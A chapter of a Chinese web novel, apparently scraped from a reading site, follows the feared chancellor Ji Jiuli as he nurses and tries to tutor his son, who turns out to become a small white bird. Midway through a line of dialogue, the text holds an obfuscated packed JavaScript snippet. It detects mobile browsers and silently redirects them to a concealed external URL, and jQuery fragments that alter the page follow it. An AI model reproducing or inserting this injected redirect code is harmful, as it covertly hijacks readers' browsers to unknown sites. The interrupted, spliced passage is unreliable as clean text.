发现是高热之症后，相府训练有素的侍从们很快便打来水，将冰帕放在姬长乐滚烫的额头上，又替他擦拭身体退热。


    烛光人影摇曳，姬九离向前半步又生生钉住，只能站在一旁，甚至显得有些碍事。


    姬九离望着孩童那烧得通红的脸颊，无端有几分焦躁。


    他从未有过这样的感受。


    过去，姬九离无论得到什么职位都能完美完成，即使是那些痛骂他的敌党也不得不承认他是个有能力有本事的人，只是心术不正。


    高热比起中毒来说算不得什么，比起他之前办的大案来说更是算不得什么，可他却连这样小小的病症都如此无能为力，不知该如何应对。


    权力与职责是脱不开干系的。


    要享受一个职位带来的权力，扩大这份权力，首先要证明自己有能力坐稳这个职位，才有资格伸手。


    若连自己分内的小事都不好，还谈什么野心。


    他没当过父亲，可想来应当也是这般道理。


    “我来，你说。”姬九离敛眉夺过侍从手中的冰帕，任由水珠顺着指缝流入袖口，他俯身仿着侍从的动作轻轻擦拭，影子随之笼罩住锦被下的孱弱身躯。


    侍从惊讶地让开身位，从旁提醒。


    在一次次擦拭中，沁凉的湿布带走了姬长乐体表的热度，也刺激他从梦魇中缓缓苏醒。


    他朦胧地睁开眼，看到他身着单衣的爹寸步不离地守着他，不知怎的感觉鼻腔酸涩难忍。


    “爹……难受……”


    姬长乐忍不住哭出来，白日里还活力四射的小脸蔫了下来，灵动的眼里满是热腾腾的泪水，不一会儿就打湿了枕头。


    姬长乐以前也没少生病，可自打有记忆以来，他就没哭过。因为他知道，他是个没爹没娘的野孩子，哭泣对他来说没有任何用，他没法像别的孩子一样，一哭就能引来爹娘安慰。


    但现在，看到他爹之后，不知道为什么，他就是好想哭。


    姬九离身形一僵。


    别人常说他的名号能止小儿夜啼，可真当他面对小孩子的哭泣时，他却不知如何是好。


    他轻轻擦去姬长乐的眼泪，坐在床边让孩童靠在怀里，动作显得有几分生涩。


    他并未露出平日里那样如沐春风的笑，可他的声音却比平日还要轻柔。


    “太医马上就来，有哪里难受吗？”


    说着，他立刻打发侍从去门口迎接太医。


    “心口难受……”


    “心悸？”姬九离连忙让多余的侍从退出去，好让他呼吸。


    哭泣第一次得到爹的宽慰与回复，姬长乐更有一种将过往的难受都宣泄出来的感觉。


    可是他又好怕这样会招来厌烦，怕他的新爹会讨厌他。


    他努力想要截住自己的哭声，一憋气却把自己憋出了哭嗝。他呆了一下，表情空白一瞬，连忙把脸埋进了姬九离怀里。


    姬九离忍俊不禁。


    偏生还叫姬长乐听见了。


    他泪汪汪地控诉姬九离：“爹，坏！嗝——”


    病恹恹的孩子气呼呼，艰难地转过身去，蒙着被子低声哭泣，打着哭嗝身体一抽一抽，浑身上下都写满了委屈。


    宰相大人捅了篓子，难得感到一丝心虚。


    只是他也没哄过孩子，看着缩壳的小乌龟毫无经验，便将目光投向身后的侍从，想得到一些建议。


    然而仅剩的侍从却是眼观鼻，鼻观心，假装自己没看到宰相大人是如何惹哭小孩子的。


    姬九离索性让他们出去了。


    “去备些梨汁蜜水。”儿子哭得声音都哑了。


    他取了滑落在枕头旁的冰帕，重新浸水拧干，走到床边，想再次贴到姬长乐额头，却发觉刚才还细碎的呜咽一下子销声匿迹了，感觉到有些不对劲。


    “乐儿？”


    与此同时，刚才还鼓成小山包的被褥突然瘪了下去。


    “乐儿！”他唤了两声，却都没有回应。


    姬九离神色一凝，当即掀开被褥，却发现本该躺着姬长乐的地方，出现了一只毛茸茸的雪白小雀鸟。


    那只幼禽玲珑小巧，雪白的绒毛随着呼吸缓缓舒张，像个小绒球，蓬松的尾翎比普通的雀鸟长些，看不出什么品种，但不像是寻常的野鸟。


    姬九离眼底划过一丝诧异。


    鸟？


    他俯身，伸手戳了戳那圆滚滚的小家伙，指尖就像陷进了棉花里，手感软得像个糯米团子，热乎的，摸着还有些微烫。


    他轻轻捏了几下，又翻来覆去地瞧了瞧。


    确实是货真价实的鸟团子。


    被人捏来捏去，缩着脑袋的软白团子动了动，发起了小脾气，扑棱了一下翅膀，又露出小小的喙，不甚尖利，也没什么力气，却啄在了姬九离的虎口上。


    活像刚才气呼呼的孩童。


    姬九离停住，抽回手，摩挲着被啄红的地方。


    “乐儿？”他若有所思地唤。


    他这一唤，还真得了响应。


    凶巴巴的软白团子露出氤氲的黑豆眼，发出一道细微的啁啾。


    “啾？”


    然后又毫不客气地啄了他一下。


    姬九离心中失笑，面上却学乖了，一本正色道：“刚才是爹不对，不该笑你，要不要再啄一下？”


    他主动伸出手去。


    白团子歪着脑袋打量着他，好半晌，缓缓挪动着小爪子。


    但这一次，他没有再啄姬九离，反而蹭了蹭他的手指，踩着软绵绵的步子落入他的手心，然后又闭上眼坐下来，像融化一样，在姬九离手心瘫成一张雪白的鸟饼，还因为生病细微地颤抖着，偶尔浑身抖落一下，似是打嗝还没停。


    细软的绒毛扫过成年人的手心，引起细微的痒意，带着心跳的小身体更是传来令人无法忽视的温度。


    姬九离垂眸看着手心的儿子，另一只手在半空中停顿一下，还是缓缓覆了上去，从脑袋顶抚向尾翎，将他拢进手心搭建的小窝里。


    没想到他儿子竟然是个小妖怪。


    怪不得平日里乐儿喜爱吃鲜果、鱼类、谷物，不怎么吃禽类。


    他曾翻阅过皇室有关修真界的记载，其中曾提到过上古时期妖怪横行。只是如今属于妖怪的时代已经过去了，加之灵气稀薄，许多妖怪无法开启灵智，更无法修炼，妖怪的数量已经所剩无几。


    姬九离自己并非妖怪，但他也不是什么正常人，所以有个妖怪儿子似乎也不……


    不，怎么想都很奇怪。


    他脑中冒出众多纷杂的思绪，却都因外面的脚步声暂且压了下去。


    “主子，太医带到了。”


    鹑尾走了进来，还带着气喘吁吁的太医。


    姬九离没有转身，背对着他们，高深莫测地吩咐道：“有劳太医深夜出诊，鹑尾，带太医去厅堂稍作休息。”


    “不要紧，老夫现在就……”


    “鹑尾。”


    “喏。”


    被强行请去休息的太医吹胡子瞪眼，搞不清到底什么情况，怎么有病还不看了呢？


    但又想到姬九离行事本就诡谲，以前也会把自己叫来给犯人吊命，现在说不定又是在折磨人。


    太医老实了。


    等人退去，风评被害的姬九离低头看着掌心云絮般的白团子，泛出无奈之色。


    “乐儿，太医来了，先变回来让太医看病好不好？”


    鸟团子病恹恹的，爪趾蜷缩，尾翎也摊散着，连啁啾都轻微至极。


    既没养过儿子，也没养过鸟的姬九离头疼起来。


    莫不是要再请个专看禽鸟的大夫来？


    幸好这时梨汁蜜水煮好了，姬九离挥退送水的侍从，用小勺子舀了一点金色蜜水，递到鸟团子喙旁。


    小喙张张合合，在勺中啄出一道道涟漪，蜜水滑落到绒毛上像滚落的金豆子，很快被姬九离以指腹抹去。


    手中的幼禽就像被灌溉后复苏的嫩芽，纤弱的身躯渐渐有了些力气，翅膀扑棱了几下，瘫软的团子重新鼓囊起来，像一株蒲公英，仿佛就要振翅而去。


    姬九离下意识屈起五指，将幼禽困在掌心。


    然而幼禽并未挣扎飞走，只是亲昵地蹭了蹭他的手指，任由他掌控，仰起头，细弱的喉管传来几声悦耳的啁啾。


    “啾，啾啾。”


    姬九离感觉热乎乎的小绒球好像在心间也滚了那么一下。


    直到发现幼禽依旧在轻颤，他才回过神来，再次劝说：“乐儿，你能变回来吗？”


    幼禽点了下头，下一瞬，姬九离眼疾手快，捞住快从自己身上滑下去的孩童。


    怀里的孩子脸上泛着病态的红，迷迷糊糊地靠在他肩上，像块烧红的炭。


    “乐儿，你刚才那是……”姬九离把孩童放回被窝里。


    “每次没力气了就会变回去。”姬长乐困扰道，“爹你会不会也这样呀？”


    他眨巴着眼睛，还颇为期待看到姬九离的鸟型，一定比自己大很多。


    姬长乐和其他人接触不深，在他看来，自己是鸟，那他爹当然也是鸟，这世界上的所有人说不定都是不一样的鸟。


    姬九离笑了笑，只摸着他的脑袋说：“等你长大就好了。先别乱动，我让太医来给你看看。”


    太医提着药箱从厅堂赶了过来，发现姬长乐没被审讯得血肉模糊，还颇为惊讶。


    什么？居然真的只是普通的小儿高热，不是借口？姬相什么时候有儿子了？


    太医还颇为稀奇，却也不敢多问，当即开始望闻问切。


    然而他的神情逐渐凝重起来，不仅再三诊脉，眉头也愈发紧锁。


    良久，他才开口：“小公子此番确实是偶感风寒，稍后待老夫拟一帖药方，吃上几日便能痊愈。只是除此之外，小公子脉象奇异……老夫才学疏浅，不敢妄断，还需回太医院翻阅典籍遍查一番。”


    姬九离没说什么，只让鹑尾立刻带老太医去写下药方，他怕时间久了，儿子又要变回鸟了。


    至于脉象奇异，想到方才的软白团子，姬九离觉得，大抵是妖怪的脉象本与于凡人不同。


    一如太医所说，在喝了几日药后，姬长乐逐渐病愈。


    听着隔壁院落中传来鲜活的欢声笑语，姬九离唇角轻扬。


    姬九离眼见着儿子从病恹恹的模样养得活蹦乱跳，也不由得生出一丝成就感。


    这个变化是因为他的主导产生，想来也算是做到了“父亲”应做的事情？


    虽然是陌生的职位，但他依旧能轻松掌控。


    “爹！”


    没过多久，白发孩童风风火火地跑进来，手中扯着一个燕子纸鸢眉飞色舞地扒在他的书桌旁。


    “爹，等你忙完我们一起去放纸鸢吧！”


    每次姬九离忙于公务时，他就会安安静静坐在一旁等候。


    姬九离看他肤白如瓷的脸上冒出细汗，拧起眉，取下一件绛红的披风裹住他。


    “日渐天寒，你身子弱，仔细受了风，又心悸难受，待春日再玩。”


    “啊……


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153884|164225||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    姬长乐鼓起脸，发出不情愿的声音，黑曜石般的眼睛巴巴地望着他，“可是我听说别人家孩子都可以在秋日放纸鸢的。上次我还看到隔壁张大人家飞起纸鸢了，我爹比他爹厉害，我的纸鸢一定能飞得比他高，对不对呀？”


    难道自己还比不上隔壁人家？


    姬九离神色不悦，他叹了口气：“也罢，就允你这么一次。但只能侍从放，你在旁边看着。”


    “我就知道爹最好了！比张大人还好！”姬长乐眉开眼笑。


    嘿嘿，他爹就是好骗。


    姬九离捏了捏他的脸颊，前些日子刚来府上养出的肉，病了一遭又消瘦下去了。


    “怎么还是这般瘦弱？”


    若是当野孩子和认爹后一个样，不就显得他这个爹毫无用处吗？


    “可是我长高了呢！”姬长乐信誓旦旦道。


    “哪高了？”姬九离上上下下打量他，小小一个，就算团在手心也才那么点。


    “反正就是高了！”姬长乐跑向门柱，比划着说，“上次我到这，现在我到这了！马上我就能长得像爹一样高。”


    姬九离嗤笑一声。


    门柱上光秃秃的，能看出来才怪。


    “那就给你记记。”姬九离朝他走去。


    姬长乐感觉在他好像在自己脑袋上干什么，好奇地仰起头想看个究竟。


    “别动。”他爹的声音从脑袋顶上传来，大手拍了拍他的脑袋。


    过了一会儿，他爹说：“好了。”


    姬长乐转身查看，发现门柱上被刻了一道痕迹，他爹提笔在旁边写了几个字。


    “爹你写得是什么呀？”小文盲姬长乐发问。


    “是你的年岁。”


    姬九离搁了笔，看向他之后若有所思起来。


    病已经养好了，那么教学方面也该开始了。


    “想学认字吗？”


    “想！”


    自信满满说出这句话的姬长乐全然不知道等着他的是什么。


    直到半个时辰后。


    “……审定有无与其实虚，随其嗜欲以见其志意，微排其——”姬九离正念着《捭阖策》给儿子开蒙，突然听到“砰”的一声。


    坐在他怀里的孩童昏昏欲睡地垂着脑袋，磕到了面前的案几上。


    紧接着，他怀中突然一空。


    “乐儿？”姬九离低头看去，怀里仰着一只晕乎乎的软白团子。


    他把幼禽摇醒了，小团子颤颤巍巍地支起身体，一仰头，看到密密麻麻的墨字，又啪叽晕了过去。


    姬九离：……


    数日之后，姬九离焦头烂额地看着儿子鸟爪般的字，又看了看一上课就睡得极香的孩童，觉得有些不对。


    这和他想象中的差距好像有点太大了。


    屡屡教子失败，姬九离不免挫败。


    到底是哪里出了问题？


    连一向忠心沉默的鹑尾都忍不住委婉提醒：“奴婢觉得，可能是小公子年纪尚幼，或许需要先开蒙。主子不如问问别家公子进度？”


    哪有上来就教孩子权谋策略的。


    姬九离欲言又止，没把自己确实是在开蒙说出来。


    不用《捭阖策》开蒙？难道用《通鉴》？


    他思来想去，还是采纳了鹑尾的意见，写了几封讨教养孩儿方法的信，送往有同龄稚子的士大夫家。


    也算是为儿子打探敌情，免得儿子落于人后。


    皇帝家虽然也有同龄孩子，但姬九离想也没想就略过去了。


    被自己的儿子嫌弃无能，儿子还当跑出去另外找爹，这样的皇帝完全是反面案例。


    他可不能做这样无能的父亲。


    收到信的各家却炸开了锅。


    姬九离什么时候有儿子了？


    同僚们聚在一起，反复推敲着奸臣信里的每个字。


    “小儿虽年甫六龄，已显不凡气象，生得玉雪之姿、伶俐乖巧……我瞧着他怎么像在炫耀儿子？”一人瞪圆了眼睛也没瞧出什么。


    “姬九离行事，岂会如此简单？愚笨！他哪里像是热心教子之人？”另一人捋着胡须说，“他连水火不容的世家和弹劾他的御史都发了，你觉得会这么简单吗？”


    就像三皇子一样，没有人相信姬九离这种人真的会对一个孩童宠爱有加。


    一人琢磨许久后沉重道：“这信中言语之间多有问及家人，想必讨教是假，威胁敲打是真。你们看，这末尾还说了‘惟愿珍重’，何等的杀气四溢。”


    众人闻言，齐齐倒吸一口凉气。


    “阎王下帖啊！”


    “竟猖獗至此，当真卑鄙无耻！”


    “赵兄，赵兄！快来人，赵兄受惊晕过去了。”


    姬九离一信激起千层浪，这下满城的人都知道姬相多寻回了失散多年的儿子，并亲自教养。


    那些原本跳出来和他作对的，除世家外一时间也都销声匿迹，恐殃及池鱼。


    不仅如此，各家还争先恐后的送去贺礼。


    太医院。


    同僚们虽未收到信，却也津津乐道地聊起此事。他们不怎么牵扯政治斗争，倒是对姬九离的孩子很好奇。听闻六皇子曾与人提及，此子天生异发，颇为罕见。


    想到院里就有一名老太医专门负责相府的诊治，其他人便来找他打听。


    老太医自前些日子从相府出来后，就一直埋首典籍之间，眉头紧锁，其他人靠近之时，恰听他喃喃自语。


    “……脉象，命不久矣，早夭之兆。”